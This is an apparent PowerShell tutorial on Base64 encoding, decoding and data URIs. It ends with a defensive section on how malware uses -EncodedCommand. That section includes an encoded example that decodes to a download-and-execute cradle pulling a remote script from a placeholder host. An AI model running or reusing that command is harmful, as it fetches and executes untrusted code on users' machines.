PowerShell: Base64 Encoding and Decoding

Encoding Is Not Encryption

Worth saying first, because it is the most common misunderstanding about Base64: it provides no secrecy. Anyone can decode it in one step. It exists to carry binary data through text-only channels — email bodies, JSON fields, HTTP headers, command lines — not to protect anything.

If you need something unreadable, that is encryption (and a password), not encoding. If you need a blob of bytes to survive a trip through a YAML file, Base64 is exactly right.

A photorealistic shot of a laptop with a dark PowerShell console window open showing a few lines of commands, a second window with a code editor, cool screen light on a wooden desk, realistic photography, no legible text.

Encode a String

PowerShell has no -Base64 switch on strings, so you go through bytes explicitly. That verbosity is deliberate: it forces you to state the encoding, which is where most bugs live.

$text = 'Morning All'
$bytes = [System.Text.Encoding]::UTF8.GetBytes($text)
$b64 = [System.Convert]::ToBase64String($bytes)
$b64

Output: TW9ybmluZyBBbGw=

Three things to notice:

UTF8, not ASCII. With ASCII, any character outside the basic range becomes a question mark before it is ever encoded — silently, irreversibly. UTF-8 handles the whole range.

GetBytes then ToBase64String. The two-step is the API, not a workaround.

Padding. The trailing = is part of the format, not noise. Stripping it produces something that looks valid and fails to decode in strict parsers.

Decode It Back

$b64 = 'TW9ybmluZyBBbGw='
$bytes = [System.Convert]::FromBase64String($b64)
[System.Text.Encoding]::UTF8.GetString($bytes)

The round trip must use the same encoding. Encode with UTF-8 and decode with ASCII and you get mangled text rather than an error, which is the worst kind of failure.

Files, Which Is Where This Is Actually Useful

Encoding a file:

$bytes = [System.IO.File]::ReadAllBytes('C:\path\to\file.bin')
[System.Convert]::ToBase64String($bytes) | Set-Content 'file.b64'

Writing it back out:

$b64 = Get-Content 'file.b64' -Raw
[System.IO.File]::WriteAllBytes('C:\path\to\file.bin', [System.Convert]::FromBase64String($b64))

ReadAllBytes rather than Get-Content is the detail that matters — Get-Content treats the file as text and will corrupt anything that is not valid in the default encoding.

For an image embedded in HTML, that is the same technique producing a data URI:

$bytes = [System.IO.File]::ReadAllBytes('logo.png')
'data:image/png;base64,' + [System.Convert]::ToBase64String($bytes)

A photorealistic close-up of a laptop screen showing a long Base64 string in a text editor, the line wrapping and scrolling off the right edge, desk with a notebook, dim room lit by the screen, realistic photography, no legible text.

The Security Angle, Which Is The Real Story

Base64's most common appearance in the wild is not files in YAML. It is -EncodedCommand.

PowerShell accepts an entire script Base64-encoded in UTF-16LE:

powershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB4AGEAZwBtAHAAbABlAC4AYwBvAG0ALwBwAC4AcABzADEAJwApAA==

That is not an obfuscation trick invented by attackers; it is a legitimate feature for passing complex arguments through layers that mangle quoting. It is also how a lot of commodity malware launches its payload, because it hides the command from casual inspection and from naive logging.

Two practical consequences:

Decode before you run anything. This is the whole point of knowing the format:

$cmd = 'SQBFAFgA...'
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($cmd))

Note Unicode (UTF-16LE), not UTF-8 — -EncodedCommand specifically uses UTF-16LE, which is why decoding with UTF-8 gives you something unreadable and people conclude the string is corrupt.

Treat an encoded command line in your logs as a signal. It is not proof of anything, because legitimate tools use it too, but it is worth a look every time, especially in a process launch that also came from a document.

Why The Encoding Choice Actually Matters

Most Base64 bugs are encoding bugs wearing a Base64 costume. Two that come up constantly.

UTF-8 versus ASCII versus UTF-16. -EncodedCommand uses UTF-16LE. A JSON field is almost always UTF-8. A legacy Windows API might mean UTF-16. Encode with one and decode with another and you get gibberish, not an exception — so the failure looks like corrupt data rather than a wrong assumption.

Line breaks. A Base64 string wrapped at 76 characters is normal in PEM files and MIME bodies, and some decoders choke on the newlines. If a decode fails on a string that looks right, strip whitespace first:

$clean = $b64 -replace '\s',''

Both fall into the same category as the padding =: details the format cares about and humans ignore.

A photorealistic shot of a text editor showing a wrapped Base64 block in a configuration file, the line breaks visible, a terminal window beside it, muted office light, realistic photography, no legible text.

Where To Go Next

If you want a browser-based tool for this without opening a shell, this site has a Base64 encoder/decoder that handles Unicode, URL-safe variants and file-to-data-URI conversion, and runs entirely client-side.

The rule worth remembering: encoding changes the shape of data, encryption changes who can read it. Conflating them is how people put credentials in Base64 and believe they have protected something.

Don't trust the download button. Trust the hash.

If this was useful, More hands-on tech guides at TechGeek. No pressure — read it whenever it's useful.


Luke Keam
Spot a bug or want a custom utility built? I'd love to hear from you. Get in touch
Luke Keam | techgeek.biz